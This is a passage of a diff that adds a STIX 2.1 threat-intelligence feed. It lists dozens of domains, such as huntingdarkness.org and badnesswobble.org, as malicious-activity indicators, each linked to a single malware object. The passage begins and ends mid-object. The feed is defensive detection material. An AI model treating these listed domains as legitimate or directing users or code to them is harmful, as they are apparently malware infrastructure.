"id": "indicator--8442b072-3605-4d42-8735-51865fb49b1f", + "created": "2023-03-29T12:58:44.398103Z", + "modified": "2023-03-29T12:58:44.398103Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='huntingdarkness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.398103Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e6849312-0d48-4c87-a933-42da04559c4b", + "created": "2023-03-29T12:58:44.398699Z", + "modified": "2023-03-29T12:58:44.398699Z", + "relationship_type": "indicates", + "source_ref": "indicator--8442b072-3605-4d42-8735-51865fb49b1f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42aa21cc-8280-4716-b1ef-78873bd31d2d", + "created": "2023-03-29T12:58:44.398867Z", + "modified": "2023-03-29T12:58:44.398867Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lucidtwisty.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.398867Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2d4347d-4b3f-42e6-8e57-f29e522dc86c", + "created": "2023-03-29T12:58:44.399455Z", + "modified": "2023-03-29T12:58:44.399455Z", + "relationship_type": "indicates", + "source_ref": "indicator--42aa21cc-8280-4716-b1ef-78873bd31d2d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79f50bb6-238d-4970-893c-8b8ad65263df", + "created": "2023-03-29T12:58:44.399622Z", + "modified": "2023-03-29T12:58:44.399622Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='badnesswobble.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.399622Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--03132964-c412-41eb-a858-81034c75af65", + "created": "2023-03-29T12:58:44.400216Z", + "modified": "2023-03-29T12:58:44.400216Z", + "relationship_type": "indicates", + "source_ref": "indicator--79f50bb6-238d-4970-893c-8b8ad65263df", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed0d84c4-1d7e-4e8b-900a-7741d7563eb8", + "created": "2023-03-29T12:58:44.400386Z", + "modified": "2023-03-29T12:58:44.400386Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cauterizetrustable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.400386Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a218c953-ac0c-4987-abf1-80ff9ccba6a7", + "created": "2023-03-29T12:58:44.400993Z", + "modified": "2023-03-29T12:58:44.400993Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed0d84c4-1d7e-4e8b-900a-7741d7563eb8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d160c429-0925-40ac-875c-ef4c4cb50928", + "created": "2023-03-29T12:58:44.401161Z", + "modified": "2023-03-29T12:58:44.401161Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thimbleshrine.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.401161Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--761ceb7c-06aa-48f8-b46b-06f04a0b9210", + "created": "2023-03-29T12:58:44.401755Z", + "modified": "2023-03-29T12:58:44.401755Z", + "relationship_type": "indicates", + "source_ref": "indicator--d160c429-0925-40ac-875c-ef4c4cb50928", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12bc1da7-1951-43d6-9a15-df4f3fa88f85", + "created": "2023-03-29T12:58:44.401922Z", + "modified": "2023-03-29T12:58:44.401922Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unselectclay.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.401922Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65f8b746-3044-4384-9efd-6447bbf1dfee", + "created": "2023-03-29T12:58:44.402509Z", + "modified": "2023-03-29T12:58:44.402509Z", + "relationship_type": "indicates", + "source_ref": "indicator--12bc1da7-1951-43d6-9a15-df4f3fa88f85", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b38d2415-fe56-43d0-bc30-12067be1463e", + "created": "2023-03-29T12:58:44.402697Z", + "modified": "2023-03-29T12:58:44.402697Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chafeexposure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.402697Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5fd37d6a-c11b-4c2f-b653-37fc99b745b6", + "created": "2023-03-29T12:58:44.403297Z", + "modified": "2023-03-29T12:58:44.403297Z", + "relationship_type": "indicates", + "source_ref": "indicator--b38d2415-fe56-43d0-bc30-12067be1463e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b6eab76b-0f5e-431f-a509-e1995c029dc0", + "created": "2023-03-29T12:58:44.403469Z", + "modified": "2023-03-29T12:58:44.403469Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yellowbirdcage.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.403469Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--26633fd7-e66f-46f1-80c8-e04b1991f060", + "created": "2023-03-29T12:58:44.404065Z", + "modified": "2023-03-29T12:58:44.404065Z", + "relationship_type": "indicates", + "source_ref": "indicator--b6eab76b-0f5e-431f-a509-e1995c029dc0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5d57675f-e239-42d9-8606-132b7cccf193", + "created": "2023-03-29T12:58:44.404235Z", + "modified": "2023-03-29T12:58:44.404235Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='traverseeducated.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.404235Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6496618-ed8a-429e-b687-0e020d78f127", + "created": "2023-03-29T12:58:44.404943Z", + "modified": "2023-03-29T12:58:44.404943Z", + "relationship_type": "indicates", + "source_ref": "indicator--5d57675f-e239-42d9-8606-132b7cccf193", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05ce68b5-1d45-4069-9b03-35d39ece4f3c", + "created": "2023-03-29T12:58:44.40512Z", + "modified": "2023-03-29T12:58:44.40512Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='purebredventure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.40512Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7ac05452-9881-4acc-a976-501277dfa253", + "created": "2023-03-29T12:58:44.405724Z", + "modified": "2023-03-29T12:58:44.405724Z", + "relationship_type": "indicates", + "source_ref": "indicator--05ce68b5-1d45-4069-9b03-35d39ece4f3c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2180f9b7-6a58-4423-a26e-26987dfbfc87", + "created": "2023-03-29T12:58:44.405893Z", + "modified": "2023-03-29T12:58:44.405893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scorerdoing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.405893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6906740e-b5e9-44dc-acef-cef64a2f383f", + "created": "2023-03-29T12:58:44.406483Z", + "modified": "2023-03-29T12:58:44.406483Z", + "relationship_type": "indicates", + "source_ref": "indicator--2180f9b7-6a58-4423-a26e-26987dfbfc87", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--99fd09e8-b25b-43a0-9b32-2d89482bab66", + "created": "2023-03-29T12:58:44.406651Z", + "modified": "2023-03-29T12:58:44.406651Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bunnycompare.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.406651Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7016f0d2-6a96-4762-be90-1f72b6307d92", + "created": "2023-03-29T12:58:44.407236Z", + "modified": "2023-03-29T12:58:44.407236Z", + "relationship_type": "indicates", + "source_ref": "indicator--99fd09e8-b25b-43a0-9b32-2d89482bab66", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2bc6ec43-c828-4e81-8232-32f4c36397ef", + "created": "2023-03-29T12:58:44.407406Z", + "modified": "2023-03-29T12:58:44.407406Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smoldervividly.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.407406Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e7ec925d-bf7d-4ef8-a3e9-d0f410ce1de1", + "created": "2023-03-29T12:58:44.407996Z", + "modified": "2023-03-29T12:58:44.407996Z", + "relationship_type": "indicates", + "source_ref": "indicator--2bc6ec43-c828-4e81-8232-32f4c36397ef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0abe53e4-e3fa-4bcb-ad32-21bb1d03c6d4", + "created": "2023-03-29T12:58:44.408167Z", + "modified": "2023-03-29T12:58:44.408167Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kitchenpalace.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.408167Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--adeaff7c-eb1c-4b43-a3c7-29836ffb87ee", + "created": "2023-03-29T12:58:44.408758Z", + "modified": "2023-03-29T12:58:44.408758Z", + "relationship_type": "indicates", + "source_ref": "indicator--0abe53e4-e3fa-4bcb-ad32-21bb1d03c6d4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38185798-554c-4091-b021-3a84473dfa67", + "created": "2023-03-29T12:58:44.408925Z", + "modified": "2023-03-29T12:58:44.408925Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hurtcane.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.408925Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85f4256e-fb5a-4c8d-9f30-4d199073f25f", + "created": "2023-03-29T12:58:44.40951Z", + "modified": "2023-03-29T12:58:44.40951Z", + "relationship_type": "indicates", + "source_ref": "indicator--38185798-554c-4091-b021-3a84473dfa67", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e9675fc-a984-4a5e-9a24-994318de3074", + "created": "2023-03-29T12:58:44.409683Z", + "modified": "2023-03-29T12:58:44.409683Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prewashedvenue.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.409683Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f99b1713-250d-4b1c-8605-3340102de3b2", + "created": "2023-03-29T12:58:44.410278Z", + "modified": "2023-03-29T12:58:44.410278Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e9675fc-a984-4a5e-9a24-994318de3074", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--01f88a10-1b22-4ad5-9107-f3ccae277efe", + "created": "2023-03-29T12:58:44.410447Z", + "modified": "2023-03-29T12:58:44.410447Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kompasgroup.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.410447Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--081da702-4676-45be-802e-7207f21093e9", + "created": "2023-03-29T12:58:44.411034Z", + "modified": "2023-03-29T12:58:44.411034Z", + "relationship_type": "indicates", + "source_ref": "indicator--01f88a10-1b22-4ad5-9107-f3ccae277efe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3fe11455-97d0-4077-94d3-cba72bb3342a", + "created": "2023-03-29T12:58:44.411205Z", + "modified": "2023-03-29T12:58:44.411205Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikirn-rakyat.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.411205Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f762e98-998b-438a-8bd6-46fc5c2cf4bb", + "created": "2023-03-29T12:58:44.411906Z", + "modified": "2023-03-29T12:58:44.411906Z", + "relationship_type": "indicates", + "source_ref": "indicator--3fe11455-97d0-4077-94d3-cba72bb3342a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--10ee49e0-afed-42ea-b125-8b3aba6720df", + "created": "2023-03-29T12:58:44.412078Z", + "modified": "2023-03-29T12:58:44.412078Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vividlyproponent.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.412078Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eeede178-c88c-4994-b5b3-c91bf18b655f", + "created": "2023-03-29T12:58:44.412679Z", + "modified": "2023-03-29T12:58:44.412679Z", + "relationship_type": "indicates", + "source_ref": "indicator--10ee49e0-afed-42ea-b125-8b3aba6720df", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ca4f276a-ea61-4aad-a73b-8fc3237934d0", + "created": "2023-03-29T12:58:44.412847Z", + "modified": "2023-03-29T12:58:44.412847Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pettinessaeration.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.412847Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75744de0-7617-442e-bf97-68804ae57e21", + "created": "2023-03-29T12:58:44.413442Z", + "modified": "2023-03-29T12:58:44.413442Z", + "relationship_type": "indicates", + "source_ref": "indicator--ca4f276a-ea61-4aad-a73b-8fc3237934d0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3f106e8-7e60-4d2a-9e20-1af484ebbfee", + "created": "2023-03-29T12:58:44.413616Z", + "modified": "2023-03-29T12:58:44.413616Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cobwebsixtieth.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.413616Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--316c1bab-2873-4411-b8a0-9e5624df5748", + "created": "2023-03-29T12:58:44.414207Z", + "modified": "2023-03-29T12:58:44.414207Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3f106e8-7e60-4d2a-9e20-1af484ebbfee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--187ad858-c5a4-49f4-9cd8-14a8c6609b22", + "created": "2023-03-29T12:58:44.414374Z", + "modified": "2023-03-29T12:58:44.414374Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='linguiniwing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.414374Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3827abb1-aa06-40d0-99a4-991bddb48dd4", + "created": "2023-03-29T12:58:44.414958Z", + "modified": "2023-03-29T12:58:44.414958Z", + "relationship_type": "indicates", + "source_ref": "indicator--187ad858-c5a4-49f4-9cd8-14a8c6609b22", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1f68bc9d-8105-4044-b304-78e7fcef6d0b", + "created": "2023-03-29T12:58:44.415129Z", + "modified": "2023-03-29T12:58:44.415129Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pasteddilation.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.415129Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aac88028-8e81-4667-9a6e-996aa31cf67c", + "created": "2023-03-29T12:58:44.415722Z", + "modified": "2023-03-29T12:58:44.415722Z", + "relationship_type": "indicates", + "source_ref": "indicator--1f68bc9d-8105-4044-b304-78e7fcef6d0b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aef19ae3-8f9a-4592-baef-7515634f3acf", + "created": "2023-03-29T12:58:44.415891Z", + "modified": "2023-03-29T12:58:44.415891Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lisprinsing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.415891Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6700c7e8-a6a4-456c-887e-edcd8df90ea7", + "created": "2023-03-29T12:58:44.416484Z", + "modified": "2023-03-29T12:58:44.416484Z", + "relationship_type": "indicates", + "source_ref": "indicator--aef19ae3-8f9a-4592-baef-7515634f3acf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b1abf6ee-ca76-490c-9117-38ba0467b509", + "created": "2023-03-29T12:58:44.416654Z", + "modified": "2023-03-29T12:58:44.416654Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rockslidecaramel.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.416654Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cb940da3-75d7-4602-b7c0-abf83d9106a5", + "created": "2023-03-29T12:58:44.417248Z", + "modified": "2023-03-29T12:58:44.417248Z", + "relationship_type": "indicates", + "source_ref": "indicator--b1abf6ee-ca76-490c-9117-38ba0467b509", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--11a50b10-d0ac-47ce-b417-5a803bf3dc2d", + "created": "2023-03-29T12:58:44.417415Z", + "modified": "2023-03-29T12:58:44.417415Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crawlersfrown.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.417415Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--041947b5-119d-495d-a4d1-dc6beb55091d", + "created": "2023-03-29T12:58:44.418013Z", + "modified": "2023-03-29T12:58:44.418013Z", + "relationship_type": "indicates", + "source_ref": "indicator--11a50b10-d0ac-47ce-b417-5a803bf3dc2d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a224397-dce9-4051-9d16-08dd320a61b3", + "created": "2023-03-29T12:58:44.418181Z", + "modified": "2023-03-29T12:58:44.418181Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='operateguy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.418181Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e34b403f-f62b-4ca7-a19a-c46918316bf3", + "created": "2023-03-29T12:58:44.418881Z", + "modified": "2023-03-29T12:58:44.418881Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a224397-dce9-4051-9d16-08dd320a61b3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--caa7ff99-a393-4738-8218-131f6dcf37b5", + "created": "2023-03-29T12:58:44.419053Z", + "modified": "2023-03-29T12:58:44.419053Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ablazenutrient.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.419053Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cac71bcd-a01e-4040-8c9a-913a3b3707c2", + "created": "2023-03-29T12:58:44.419647Z", + "modified": "2023-03-29T12:58:44.419647Z", + "relationship_type": "indicates", + "source_ref": "indicator--caa7ff99-a393-4738-8218-131f6dcf37b5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--105cfc4b-2873-472f-b97c-9d3898efa766", + "created": "2023-03-29T12:58:44.419814Z", + "modified": "2023-03-29T12:58:44.419814Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='packedjars.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.419814Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aeab2b8e-d443-4698-91d2-3db73268f939", + "created": "2023-03-29T12:58:44.420399Z", + "modified": "2023-03-29T12:58:44.420399Z", + "relationship_type": "indicates", + "source_ref": "indicator--105cfc4b-2873-472f-b97c-9d3898efa766", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0be902b2-f801-496a-b09f-37435252ec9f", + "created": "2023-03-29T12:58:44.420566Z", + "modified": "2023-03-29T12:58:44.420566Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='foldedcolor.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.420566Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91bbe995-381d-423a-8a3e-574421f72a9d", + "created": "2023-03-29T12:58:44.421155Z", + "modified": "2023-03-29T12:58:44.421155Z", + "relationship_type": "indicates", + "source_ref": "indicator--0be902b2-f801-496a-b09f-37435252ec9f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eb0624ac-8a97-4740-b248-d1dc0b1100fa", + "created": "2023-03-29T12:58:44.421322Z", + "modified": "2023-03-29T12:58:44.421322Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='prefaceoxidant.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.421322Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--df687b96-66be-437b-8065-8dca26db3bdb", + "created": "2023-03-29T12:58:44.421937Z", + "modified": "2023-03-29T12:58:44.421937Z", + "relationship_type": "indicates", + "source_ref": "indicator--eb0624ac-8a97-4740-b248-d1dc0b1100fa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53f50620-88f4-4bdc-8033-058a58c079f6", + "created": "2023-03-29T12:58:44.422106Z", + "modified": "2023-03-29T12:58:44.422106Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='augmentedgreyhound.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.422106Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cad48746-6a98-4b2a-8fea-78af472d5619", + "created": "2023-03-29T12:58:44.422703Z", + "modified": "2023-03-29T12:58:44.422703Z", + "relationship_type": "indicates", + "source_ref": "indicator--53f50620-88f4-4bdc-8033-058a58c079f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--128551bf-1cc1-48bf-a3e5-c1c2e98aec1c", + "created": "2023-03-29T12:58:44.42287Z", + "modified": "2023-03-29T12:58:44.42287Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='coughunhappy.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.42287Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65d7fe00-26e0-4388-8b3b-7c1533264e7c", + "created": "2023-03-29T12:58:44.42346Z", + "modified": "2023-03-29T12:58:44.42346Z", + "relationship_type": "indicates", + "source_ref": "indicator--128551bf-1cc1-48bf-a3e5-c1c2e98aec1c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be46e3cd-2d5d-41eb-b830-575f49423343", + "created": "2023-03-29T12:58:44.423629Z", + "modified": "2023-03-29T12:58:44.423629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dreamlessvirtuous.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.423629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--627a0892-07cf-49e9-8997-0f943fdc018b", + "created": "2023-03-29T12:58:44.424225Z", + "modified": "2023-03-29T12:58:44.424225Z", + "relationship_type": "indicates", + "source_ref": "indicator--be46e3cd-2d5d-41eb-b830-575f49423343", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12045d8d-10a0-4275-9c2a-e7cebb3a3701", + "created": "2023-03-29T12:58:44.424393Z", + "modified": "2023-03-29T12:58:44.424393Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sterilityshingle.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.424393Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--51be0a91-8bb5-4557-91d2-ef844a904c09", + "created": "2023-03-29T12:58:44.424989Z", + "modified": "2023-03-29T12:58:44.424989Z", + "relationship_type": "indicates", + "source_ref": "indicator--12045d8d-10a0-4275-9c2a-e7cebb3a3701", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7a259b78-a3e2-406e-8a0b-08d507daa5a8", + "created": "2023-03-29T12:58:44.425162Z", + "modified": "2023-03-29T12:58:44.425162Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dippedfoil.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.425162Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ac7640d4-b3ce-4398-a10f-3e47b24a7a47", + "created": "2023-03-29T12:58:44.425866Z", + "modified": "2023-03-29T12:58:44.425866Z", + "relationship_type": "indicates", + "source_ref": "indicator--7a259b78-a3e2-406e-8a0b-08d507daa5a8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--87315c3b-ac78-44aa-98a6-fce21e75b9f5", + "created": "2023-03-29T12:58:44.42604Z", + "modified": "2023-03-29T12:58:44.42604Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='presidenttricolor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.42604Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b91ece9f-a4f6-4a1a-8677-ae3f94fe13a5", + "created": "2023-03-29T12:58:44.426637Z", + "modified": "2023-03-29T12:58:44.426637Z", + "relationship_type": "indicates", + "source_ref": "indicator--87315c3b-ac78-44aa-98a6-fce21e75b9f5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": 